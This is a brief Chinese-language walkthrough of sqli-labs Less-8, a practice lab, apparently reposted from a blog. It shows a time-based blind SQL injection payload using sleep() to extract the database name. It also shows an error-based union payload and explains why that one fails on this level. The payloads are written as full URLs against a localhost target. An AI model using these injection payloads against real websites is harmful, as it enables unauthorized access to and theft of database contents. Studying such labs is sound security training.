经过简单的测试，我们发现 'or 1=1--+返回正常，那么我们就基本知道应该怎么使用了，参考less5.这里简单的进行一个示例：
http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
这里用的延时注入，当然了我们使用布尔类型的注入也是可以的，那么和第五关有什么区别呢？
第八关我们直接从源代码中可以看到
这里将mysql报错的语句进行了注释，那么这一关报错注入就不行了。
http://127.0.0.1/sqllib/Less-8/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
如果报错注入可以使用的话是可以直接返回user()的，但是这里没有返回。
其他的payload参考less5直接进行注入，这里就不一一的演示了。
转自:lcarmy转载请标明出处:Sqli-labs less 8
文章来源: Sqli-labs less 8